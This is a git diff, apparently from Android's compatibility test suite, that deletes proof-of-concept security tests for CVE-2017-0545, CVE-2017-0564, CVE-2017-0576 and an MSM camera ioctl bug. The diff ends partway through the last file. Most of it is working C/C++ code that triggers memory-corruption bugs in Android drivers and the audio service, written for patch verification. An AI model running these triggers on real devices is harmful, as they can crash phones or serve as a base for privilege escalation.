-#define VIDIOC_MSM_CPP_SET_CLOCK \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 16, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_IOMMU_ATTACH \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_IOMMU_DETACH \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 19, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_DELETE_STREAM_BUFF \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 20, struct msm_camera_v4l2_ioctl_t)
-
-#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
-
-#define V4L2_EVENT_CPP_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 0)
-#define V4L2_EVENT_VPE_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 1)
-
-struct msm_camera_v4l2_ioctl_t {
-  uint32_t id;
-  size_t len;
-  int32_t trans_code;
-  void __user *ioctl_ptr;
-};
-
-#define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA
-
-int ion_open(void);
-int ion_alloc(int fd, size_t len, size_t align, unsigned int heap_mask,
-              unsigned int flags, ion_user_handle_t *handle);
-
-int ion_open() {
-  int fd = open("/dev/ion", O_RDONLY);
-  return fd;
-}
-
-static int ion_ioctl(int fd, int req, void *arg) {
-  int ret = ioctl(fd, req, arg);
-  return ret;
-}
-
-int ion_alloc(int fd, size_t len, size_t align, unsigned int heap_mask,
-              unsigned int flags, ion_user_handle_t *handle) {
-  int ret;
-  struct ion_allocation_data data = {
-      .len = len,
-      .align = align,
-      .heap_id_mask = heap_mask,
-      .flags = flags,
-  };
-  if (handle == NULL) return -1;
-
-  ret = ion_ioctl(fd, ION_IOC_ALLOC, &data);
-  if (ret < 0) return ret;
-
-  *handle = data.handle;
-
-  return ret;
-}
-
-static void ion_get_fd(int fd, ion_user_handle_t *handle, int *buf_fd) {
-  union {
-    struct ion_fd_data fd;
-    struct ion_allocation_data allocation;
-    struct ion_handle_data handle;
-    struct ion_custom_data custom;
-  } data;
-  memset(&data, 0, sizeof(data));
-  data.handle.handle = *handle;
-  int ret = ioctl(fd, ION_IOC_SHARE, &data);
-  *buf_fd = data.fd.fd;
-}
-
-int main(int argc, char **argv) {
-  int fd;
-  int ion_fd;
-  int buf_fd = -1;
-  const size_t frame_size = 446;
-  ion_user_handle_t ion_handle;
-  uint32_t buf[frame_size];
-  struct msm_camera_v4l2_ioctl_t request = {0, 0, 0, 0};
-  struct msm_cpp_frame_info_t frame_info;
-  struct msm_cpp_buffer_info_t buff_info;
-  struct msm_cpp_stream_buff_info_t stream_buff_info;
-
-  memset(&buf, 0x00, sizeof(buf));
-  memset(&frame_info, 0x01, sizeof(frame_info));
-  memset(&buff_info, 0x00, sizeof(buff_info));
-  memset(&stream_buff_info, 0x00, sizeof(stream_buff_info));
-
-  ion_fd = ion_open();
-
-  ion_alloc(ion_fd, 0x1000, 0, 0xfffffff,
-            ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC, &ion_handle);
-
-  ion_get_fd(ion_fd, &ion_handle, &buf_fd);
-
-  stream_buff_info.num_buffs = 1;
-  stream_buff_info.identity = 0x27BC86AA;
-  stream_buff_info.buffer_info = &buff_info;
-  frame_info.identity = stream_buff_info.identity;
-  buff_info.fd = buf_fd;
-  buff_info.identity = 0x27BC86AA;
-  buff_info.index = 0;
-  buff_info.native_buff = 1;
-  buf[frame_size - 1] = MSM_CPP_MSG_ID_TRAILER;
-  frame_info.msg_len = frame_size;
-  frame_info.cpp_cmd_msg = buf;
-  frame_info.num_strips = UINT_MAX;
-  frame_info.we_disable = 1;
-  frame_info.duplicate_output = 0;
-  frame_info.feature_mask = 0;
-  frame_info.input_buffer_info = buff_info;
-
-  char subdev[32] = {0};
-  for (int i = 0; i < 32; i++) {
-    snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i);
-    fd = open(subdev, O_RDWR);
-    if (fd < 0) continue;
-
-    request.len = sizeof(stream_buff_info);
-    request.ioctl_ptr = &stream_buff_info;
-    ioctl(fd, VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO, &request);
-
-    ioctl(fd, VIDIOC_MSM_CPP_IOMMU_ATTACH, &request);
-
-    request.len = sizeof(frame_info);
-    request.ioctl_ptr = &frame_info;
-    ioctl(fd, VIDIOC_MSM_CPP_CFG, &request);
-    close(fd);
-  }
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0545/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0545/Android.mk
deleted file mode 100644
index bb9a223..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0545/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0545
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES := system/media/audio_effects/include \
-                    frameworks/native/include
-LOCAL_SHARED_LIBRARIES := libmedia libaudioclient libutils libbinder liblog
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0545/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0545/poc.cpp
deleted file mode 100644
index 28c3f75..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0545/poc.cpp
+++ /dev/null
@@ -1,189 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <audio_effects/effect_visualizer.h>
-#include <binder/IServiceManager.h>
-#include <hardware/audio_effect.h>
-#include <media/AudioEffect.h>
-#include <media/IAudioFlinger.h>
-#include <media/IEffect.h>
-#include <media/IEffectClient.h>
-
-using namespace android;
-
-struct EffectClient : public BnEffectClient {
-  EffectClient() {}
-  virtual void controlStatusChanged(bool controlGranted __unused) {}
-  virtual void enableStatusChanged(bool enabled __unused) {}
-  virtual void commandExecuted(uint32_t cmdCode __unused,
-                               uint32_t cmdSize __unused,
-                               void *pCmdData __unused,
-                               uint32_t replySize __unused,
-                               void *pReplyData __unused) {}
-};
-
-static sp<IBinder> createEffect(effect_descriptor_t *pDesc,
-                                const sp<IEffectClient> &client,
-                                int32_t priority, audio_io_handle_t output,
-                                audio_session_t sessionId,
-                                const String16 &opPackageName, status_t *status,
-                                int *id, int *enabled) {
-  sp<IServiceManager> sm = defaultServiceManager();
-  sp<IBinder> binder = sm->getService(String16("media.audio_flinger"));
-
-  if (binder.get() == NULL) {
-    return NULL;
-  }
-
-  Parcel data, reply;
-  sp<IBinder> effect;
-
-  if (pDesc == NULL) {
-    return effect;
-    if (status != NULL) {
-      *status = BAD_VALUE;
-    }
-  }
-
-  data.writeInterfaceToken(String16("android.media.IAudioFlinger"));
-  data.write(pDesc, sizeof(effect_descriptor_t));
-  data.writeStrongBinder(IInterface::asBinder(client));
-  data.writeInt32(priority);
-  data.writeInt32((int32_t)output);
-  data.writeInt32(sessionId);
-  data.writeString16(opPackageName);
-
-  status_t lStatus = binder->transact(40 /*CREATE_EFFECT*/, data, &reply);
-  if (lStatus == NO_ERROR) {
-    lStatus = reply.readInt32();
-    int tmp = reply.readInt32();
-    if (id != NULL) {
-      *id = tmp;
-    }
-    tmp = reply.readInt32();
-    if (enabled != NULL) {
-      *enabled = tmp;
-    }
-    effect = reply.readStrongBinder();
-    reply.read(pDesc, sizeof(effect_descriptor_t));
-  }
-  if (status != NULL) {
-    *status = lStatus;
-  }
-
-  return effect;
-}
-
-static status_t command(sp<IBinder> binder, uint32_t cmdCode, uint32_t cmdSize,
-                        void *pCmdData, uint32_t *pReplySize,
-                        void *pReplyData) {
-  Parcel data, reply;
-  data.writeInterfaceToken(String16("android.media.IEffect"));
-  data.writeInt32(cmdCode);
-  int size = cmdSize;
-  if (pCmdData == NULL) {
-    size = 0;
-  }
-  data.writeInt32(size);
-  if (size) {
-    data.write(pCmdData, size);
-  }
-  if (pReplySize == NULL) {
-    size = 0;
-  } else {
-    size = *pReplySize;
-  }
-  data.writeInt32(size);
-
-  status_t status = binder->transact(3 /*COMMAND*/, data, &reply);
-  if (status == NO_ERROR) {
-    status = reply.readInt32();
-  }
-  if (status != NO_ERROR) {
-    if (pReplySize != NULL) *pReplySize = 0;
-    ALOGI("command status: %d", status);
-    return status;
-  }
-
-  size = reply.readInt32();
-  if (size != 0 && pReplyData != NULL && pReplySize != NULL) {
-    reply.read(pReplyData, size);
-    *pReplySize = size;
-  }
-  return status;
-}
-
-#define FIVEBAND_NUMBANDS 5
-#define MAX_NUM_BANDS 5
-#define MAX_CALL_SIZE 256
-#define LVM_MAX_SESSIONS 32
-#define LVM_UNUSED_SESSION INT_MAX
-#define BASS_BOOST_CUP_LOAD_ARM9E 150   // Expressed in 0.1 MIPS
-#define VIRTUALIZER_CUP_LOAD_ARM9E 120  // Expressed in 0.1 MIPS
-#define EQUALIZER_CUP_LOAD_ARM9E 220    // Expressed in 0.1 MIPS
-#define VOLUME_CUP_LOAD_ARM9E 0         // Expressed in 0.1 MIPS
-#define BUNDLE_MEM_USAGE 25             // Expressed in kB
-static effect_descriptor_t gVirtualizerDescriptor = {
-    {0x37cc2c00, 0xdddd, 0x11db, 0x8577, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}},
-    {0x1d4033c0, 0x8557, 0x11df, 0x9f2d, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}},
-    EFFECT_CONTROL_API_VERSION,
-    (EFFECT_FLAG_TYPE_INSERT | EFFECT_FLAG_INSERT_LAST |
-     EFFECT_FLAG_DEVICE_IND | EFFECT_FLAG_VOLUME_CTRL),
-    VIRTUALIZER_CUP_LOAD_ARM9E,
-    BUNDLE_MEM_USAGE,
-    "Virtualizer",
-    "NXP Software Ltd.",
-};
-
-int main() {
-  sp<EffectClient> effectClient(new EffectClient());
-
-  const int32_t priority = 0;
-  audio_session_t sessionId = AUDIO_SESSION_OUTPUT_MIX;
-  const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
-  const String16 opPackageName("com.exp.poc");
-  int32_t id;
-  int enabled;
-  status_t err;
-
-  sp<IBinder> effect =
-      createEffect(&gVirtualizerDescriptor, effectClient, priority, io,
-                   sessionId, opPackageName, &err, &id, &enabled);
-  if (effect == NULL || err != NO_ERROR) {
-    return 0;
-  }
-
-  uint32_t cmdCode, cmdSize, replySize;
-  void *pCmdData, *pReplyData;
-
-  effect_param_t *param;
-  param =
-      (effect_param_t *)malloc(sizeof(effect_param_t) + sizeof(uint32_t) * 3);
-  param->psize = sizeof(uint32_t) * 3;
-  param->vsize = 12;
-  *((uint32_t *)param->data) = 2;  // VIRTUALIZER_PARAM_VIRTUAL_SPEAKER_ANGLES
-  *((uint32_t *)param->data + 1) = 1;  // nbChannels
-  *((uint32_t *)param->data + 2) = 4;  // deviceType
-
-  cmdCode = EFFECT_CMD_GET_PARAM;
-  cmdSize = sizeof(effect_param_t) + sizeof(uint32_t) * 3;
-  pCmdData = param;
-  replySize = sizeof(effect_param_t) + sizeof(uint32_t) * 3;
-  pReplyData = malloc(0x100);
-
-  command(effect, cmdCode, cmdSize, pCmdData, &replySize, pReplyData);
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
deleted file mode 100644
index 0a02b5e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := CVE-2017-0564
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
deleted file mode 100644
index 6867562..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS     8
-#define _IOC_TYPEBITS   8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-# define _IOC_SIZEBITS  14
-#endif
-
-#ifndef _IOC_DIRBITS
-# define _IOC_DIRBITS   2
-#endif
-
-#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
-#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
-#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
-#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
-
-#define _IOC_NRSHIFT    0
-#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
-#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
-#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-# define _IOC_NONE      0U
-#endif
-
-#ifndef _IOC_WRITE
-# define _IOC_WRITE     1U
-#endif
-
-#ifndef _IOC_READ
-# define _IOC_READ      2U
-#endif
-
-
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir,type,nr,size) \
-        (((dir)  << _IOC_DIRSHIFT) | \
-         ((type) << _IOC_TYPESHIFT) | \
-         ((nr)   << _IOC_NRSHIFT) | \
-         ((size) << _IOC_SIZESHIFT))
-
-
-
-/* used to create numbers */
-#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
-#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-
-#endif
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
deleted file mode 100644
index 7734d4c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
+++ /dev/null
@@ -1,221 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <pthread.h>
-#include <stdio.h>
-#include <stdio.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <unistd.h>
-#include <string.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <linux/ion.h>
-
-#define ION_HEAP(bit) (1 << (bit))
-
-enum ion_heap_ids {
-    INVALID_HEAP_ID = -1,
-    ION_CP_MM_HEAP_ID = 8,
-    ION_SECURE_HEAP_ID = 9,
-    ION_SECURE_DISPLAY_HEAP_ID = 10,
-    ION_CP_MFC_HEAP_ID = 12,
-    ION_CP_WB_HEAP_ID = 16, /* 8660 only */
-    ION_CAMERA_HEAP_ID = 20, /* 8660 only */
-    ION_SYSTEM_CONTIG_HEAP_ID = 21,
-    ION_ADSP_HEAP_ID = 22,
-    ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
-    ION_SF_HEAP_ID = 24,
-    ION_SYSTEM_HEAP_ID = 25,
-    ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
-    ION_QSECOM_HEAP_ID = 27,
-    ION_AUDIO_HEAP_ID = 28,
-    ION_MM_FIRMWARE_HEAP_ID = 29,
-    ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
-};
-
-static unsigned int ion_type[] = {
-    ION_HEAP(ION_CP_MM_HEAP_ID),
-    ION_HEAP(ION_CP_MFC_HEAP_ID),
-    ION_HEAP(ION_SYSTEM_CONTIG_HEAP_ID),
-    ION_HEAP(ION_ADSP_HEAP_ID ),
-    ION_HEAP(ION_SF_HEAP_ID),
-    ION_HEAP(ION_SYSTEM_HEAP_ID),
-    ION_HEAP(ION_QSECOM_HEAP_ID),
-    ION_HEAP(ION_AUDIO_HEAP_ID),
-};
-
-#define NEW_ION
-int ion_alloc(int fd, int len, int *hdl, unsigned int ion_type)
-{
-    int ret;
-    struct ion_allocation_data req = {
-        .len = len,
-#ifdef NEW_ION
-        .heap_id_mask = ion_type,
-        //.flags = ION_SECURE | ION_FORCE_CONTIGUOUS,
-        .flags = (1 << 0),
-        .flags = 0x0,
-#else
-        .flags = ION_SECURE | ION_FORCE_CONTIGUOUS | ION_HEAP(ION_CP_MM_HEAP_ID),
-#endif
-        .align = len,
-    };
-
-    ret = ioctl(fd, ION_IOC_ALLOC, &req);
-    if (ret) {
-        return ret;
-    }
-
-    *hdl = req.handle;
-
-    return 0;
-}
-
-int ion_free(int fd, int hdl)
-{
-    int ret;
-    struct ion_handle_data req = {
-        .handle = hdl,
-    };
-
-    ret = ioctl(fd, ION_IOC_FREE, &req);
-    if (ret) {
-        return ret;
-    }
-
-    return 0;
-}
-
-int ion_map(int fd, int hdl)
-{
-    int ret;
-    struct ion_fd_data req = {
-        .handle = hdl,
-    };
-
-    ret = ioctl(fd, ION_IOC_MAP, &req);
-    if (ret) {
-        return ret;
-   }
-
-   return req.fd;
-}
-
-int ion_fd;
-int ion_handle;
-int status[2];
-int cmd = 0;
-
-void *threadForIonFree01()
-{
-    status[0] = 1;
-
-    while (cmd == 0) {
-        usleep(10);
-    }
-    if (cmd == -1)
-        goto failed;
-
-    usleep(50);
-    ion_free(ion_fd, ion_handle);
-
-failed:
-    status[0] = 2;
-    return NULL;
-}
-
-
-void *threadForIonFree02()
-{
-    status[1] = 1;
-
-    while (cmd == 0) {
-        usleep(10);
-    }
-    if(cmd == -1)
-        goto failed;
-
-    usleep(50);
-    ion_free(ion_fd, ion_handle);
-
-failed:
-    status[1] = 2;
-    return NULL;
-}
-
-int main()
-{
-    int ret, i, count;
-    pthread_t tid_free[2];
-
-    count = 0;
-retry:
-    status[0] = 0;
-    status[1] = 0;
-    cmd = 0;
-    ion_fd = open("/dev/ion", O_RDONLY| O_SYNC, 0);
-    if (ion_fd < 0) {
-	return -1;
-    }
-
-    for (i=0; i < sizeof(ion_type)/sizeof(ion_type[0]); i++) {
-        ret = ion_alloc(ion_fd, 0x1000, &ion_handle, ion_type[i]);
-        if (ret == 0) {
-            break;
-        }
-    }
-
-    if (i == sizeof(ion_type)/sizeof(ion_type[0])) {
-        goto failed;
-    }
-
-    ret = pthread_create(&tid_free[0], NULL, threadForIonFree01, NULL);
-    if (ret != 0) {
-        goto failed;
-    }
-
-    ret = pthread_create(&tid_free[1], NULL, threadForIonFree02, NULL);
-    if (ret != 0) {
-        cmd = -1;
-        goto failed;
-    }
-
-    while (status[0] != 1 || status[1] != 1) {
-        usleep(50);
-    }
-
-    cmd = 1;
-    ret = ion_map(ion_fd, ion_handle);
-
-    while (status[0] != 2 || status[1] != 2) {
-        usleep(50);
-    }
-
-failed:
-    ion_free(ion_fd,ion_handle);
-    close(ion_fd);
-    goto retry;
-
-    return 0;
-}
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
deleted file mode 100644
index 28e49a5..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0576
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c
deleted file mode 100644
index f08a068..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c
+++ /dev/null
@@ -1,158 +0,0 @@
-/*

- * Copyright (C) 2017 The Android Open Source Project

- *

- * Licensed under the Apache License, Version 2.0 (the "License");

- * you may not use this file except in compliance with the License.

- * You may obtain a copy of the License at

- *

- *      http://www.apache.org/licenses/LICENSE-2.0

- *

- * Unless required by applicable law or agreed to in writing, software

- * distributed under the License is distributed on an "AS IS" BASIS,

- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

- * See the License for the specific language governing permissions and

- * limitations under the License.

- */

-#define _GNU_SOURCE

-

-#include <stdio.h>

-#include <unistd.h>

-#include <stdlib.h>

-#include <sys/ioctl.h>

-#include <sys/types.h>

-#include <sys/stat.h>

-#include <sys/mman.h>

-#include <sys/wait.h>

-#include <string.h>

-#include <fcntl.h>

-#include <limits.h>

-#include <inttypes.h>

-#include <errno.h>

-

-#define QCEDEV_MAX_KEY_SIZE     64

-#define QCEDEV_MAX_IV_SIZE      32

-#define QCEDEV_MAX_BUFFERS      16

-

-struct  buf_info {

-    union {

-	uint32_t        offset;

-	uint8_t         *vaddr;

-    };

-    uint32_t        len;

-};

-

-struct  qcedev_vbuf_info {

-    struct buf_info src[QCEDEV_MAX_BUFFERS];

-    struct buf_info dst[QCEDEV_MAX_BUFFERS];

-};

-

-struct  qcedev_pmem_info {

-    int             fd_src;

-    struct buf_info src[QCEDEV_MAX_BUFFERS];

-    int             fd_dst;

-    struct buf_info dst[QCEDEV_MAX_BUFFERS];

-};

-

-enum qcedev_oper_enum {

-    QCEDEV_OPER_DEC         = 0,

-    QCEDEV_OPER_ENC         = 1,

-    QCEDEV_OPER_DEC_NO_KEY  = 2,

-    QCEDEV_OPER_ENC_NO_KEY  = 3,

-    QCEDEV_OPER_LAST

-};

-

-enum qcedev_cipher_alg_enum {

-    QCEDEV_ALG_DES          = 0,

-    QCEDEV_ALG_3DES         = 1,

-    QCEDEV_ALG_AES          = 2,

-    QCEDEV_ALG_LAST

-};

-

-enum qcedev_cipher_mode_enum {

-    QCEDEV_AES_MODE_CBC     = 0,

-    QCEDEV_AES_MODE_ECB     = 1,

-    QCEDEV_AES_MODE_CTR     = 2,

-    QCEDEV_AES_MODE_XTS     = 3,

-    QCEDEV_AES_MODE_CCM     = 4,

-    QCEDEV_DES_MODE_CBC     = 5,

-    QCEDEV_DES_MODE_ECB     = 6,

-    QCEDEV_AES_DES_MODE_LAST

-};

-

-struct  qcedev_cipher_op_req {

-    uint8_t                         use_pmem;

-    union {

-	struct qcedev_pmem_info pmem;

-	struct qcedev_vbuf_info vbuf;

-    };

-    uint32_t                        entries;

-    uint32_t                        data_len;

-    uint8_t                         in_place_op;

-    uint8_t                         enckey[QCEDEV_MAX_KEY_SIZE];

-    uint32_t                        encklen;

-    uint8_t                         iv[QCEDEV_MAX_IV_SIZE];

-    uint32_t                        ivlen;

-    uint32_t                        byteoffset;

-    enum qcedev_cipher_alg_enum     alg;

-    enum qcedev_cipher_mode_enum    mode;

-    enum qcedev_oper_enum           op;

-};

-

-#define QCEDEV_IOC_MAGIC        0x87

-

-#define QCEDEV_IOCTL_ENC_REQ					\

-    _IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req)

-#define QCEDEV_IOCTL_DEC_REQ					\

-    _IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req)

-

-void thread_func(int fd)

-{

-    struct qcedev_cipher_op_req req;

-    unsigned int i;

-    char *data;

-

-    memset(&req, 0, sizeof(struct qcedev_cipher_op_req));

-

-    data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);

-    if (data == MAP_FAILED) {

-	exit(0);

-    }

-    for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*))

-	*((unsigned long long*)(data + i)) = 0xABADACC355001337;

-

-    req.in_place_op = 1;

-    req.entries = 2;

-    req.byteoffset = 15;

-    req.mode = QCEDEV_AES_MODE_CTR;

-

-    req.op = QCEDEV_OPER_ENC;

-    req.ivlen = 1;

-    req.data_len = 0xFFFFFFFE;

-    req.vbuf.src[0].len = 4;

